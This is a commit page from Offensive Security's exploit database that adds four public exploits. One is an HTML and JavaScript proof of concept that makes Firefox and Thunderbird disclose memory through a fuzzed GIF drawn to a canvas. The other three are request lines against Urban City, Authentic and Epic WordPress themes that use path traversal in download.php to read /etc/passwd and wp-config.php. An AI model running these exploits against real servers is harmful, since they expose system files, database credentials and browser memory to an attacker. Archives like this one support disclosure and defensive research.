Skip to content

Commit 73e749c

Browse files
author
Offensive Security
committed
DB: 2016-01-24
4 new exploits
1 parent 65e7008 commit 73e749c

5 files changed

Lines changed: 165 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35535,3 +35535,7 @@ id,file,description,date,author,platform,type,port
3553535535
39292,platforms/multiple/remote/39292.pl,"Granding MA300 Traffic Sniffing MitM Fingerprint PIN Disclosure",2014-08-26,"Eric Sesterhenn",multiple,remote,0
3553635536
39293,platforms/multiple/remote/39293.pl,"Granding MA300 Weak Pin Encryption Brute-force Weakness",2014-08-26,"Eric Sesterhenn",multiple,remote,0
3553735537
39294,platforms/php/webapps/39294.txt,"Joomla! Spider Video Player Extension 'theme' Parameter SQL Injection Vulnerability",2014-08-26,"Claudio Viviani",php,webapps,0
35538+
39295,platforms/multiple/remote/39295.js,"Mozilla Firefox <= 9.0.1 and Thunderbird <= 3.1.20 Information Disclosure Vulnerability",2014-09-02,"Michal Zalewski",multiple,remote,0
35539+
39296,platforms/php/webapps/39296.txt,"WordPress Urban City Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0
35540+
39297,platforms/php/webapps/39297.txt,"WordPress Authentic Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0
35541+
39298,platforms/php/webapps/39298.txt,"WordPress Epic Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0

‎platforms/multiple/remote/39295.js‎

Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
source: http://www.securityfocus.com/bid/69525/info
2+
3+
Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability.
4+
5+
Attackers can exploit this issue to disclose sensitive information that may aid in further attacks.
6+
7+
This issue is fixed in:
8+
9+
Firefox 32
10+
Firefox ESR 31.1
11+
Thunderbird 31.1
12+
13+
<style>
14+
body {
15+
background-color: #d0d0d0;
16+
}
17+
18+
img {
19+
border: 1px solid teal;
20+
margin: 1ex;
21+
}
22+
23+
canvas {
24+
border: 1px solid crimson;
25+
margin: 1ex;
26+
}
27+
</style>
28+
29+
<body onload="set_images()">
30+
31+
<div id="status">
32+
</div>
33+
34+
<div id="image_div">
35+
</div>
36+
37+
<canvas height=32 width=32 id=cvs>
38+
</canvas>
39+
40+
<h2>Variants:</h2>
41+
42+
<ul id="output">
43+
</ul>
44+
45+
<script>
46+
var c = document.getElementById('cvs');
47+
var ctx = c.getContext('2d');
48+
49+
var loaded = 0;
50+
var image_obj = [];
51+
var USE_IMAGES = 300;
52+
53+
function check_results() {
54+
55+
var uniques = [];
56+
57+
uniques.push(image_obj[0].imgdata);
58+
59+
document.getElementById('output').innerHTML +=
60+
'<img src="' + image_obj[0].imgdata + '">';
61+
62+
for (var i = 1; i < USE_IMAGES; i++) {
63+
64+
if (image_obj[0].imgdata != image_obj[i].imgdata) {
65+
66+
for (var j = 1; j < uniques.length; j++)
67+
if (uniques[j] == image_obj[i].imgdata) break;
68+
69+
if (j == uniques.length) {
70+
71+
uniques.push(image_obj[i].imgdata);
72+
73+
document.getElementById('output').innerHTML +=
74+
'<img src="' + image_obj[i].imgdata + '">';
75+
76+
77+
}
78+
79+
80+
}
81+
82+
}
83+
84+
if (uniques.length > 1)
85+
alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
86+
else
87+
alert('The image has just one variant when rendered. You\'re probably OK.');
88+
89+
}
90+
91+
92+
function count_image() {
93+
94+
loaded++;
95+
96+
ctx.clearRect(0, 0, 32, 32);
97+
98+
try {
99+
ctx.drawImage(this, 0, 0, 32, 32);
100+
} catch (e) { }
101+
102+
this.imgdata = c.toDataURL();
103+
104+
if (loaded == USE_IMAGES) check_results();
105+
106+
}
107+
108+
109+
function set_images() {
110+
111+
loaded = 0;
112+
create_images();
113+
114+
for (var i = 0; i < USE_IMAGES; i++)
115+
image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();
116+
117+
}
118+
119+
120+
function create_images() {
121+
122+
for (var i = 0; i < USE_IMAGES; i++) {
123+
124+
image_obj[i] = new Image();
125+
image_obj[i].height = 32;
126+
image_obj[i].width = 32;
127+
image_obj[i].onerror = count_image;
128+
image_obj[i].onload = count_image;
129+
130+
document.getElementById('image_div').appendChild(image_obj[i]);
131+
132+
}
133+
134+
}
135+
136+
137+
</script>
138+
139+
140+
<iframe src='http://www.example.com/'></iframe>

‎platforms/php/webapps/39296.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/69670/info
2+
3+
Urban City theme for Wordpress is prone to an arbitrary file-download vulnerability.
4+
5+
An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.
6+
7+
http://www.example.com/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd

‎platforms/php/webapps/39297.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/69671/info
2+
3+
Authentic theme for Wordpress is prone to an arbitrary file-download vulnerability.
4+
5+
An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.
6+
7+
http://www.example.com/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php

‎platforms/php/webapps/39298.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/69672/info
2+
3+
Epic theme for Wordpress is prone to an arbitrary file-download vulnerability.
4+
5+
An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.
6+
7+
http://www.example.com/wp-content/themes/epic/includes/download.php?file=/home/content/46/8992446/html/wp-config.php

0 commit comments

Comments
 (0)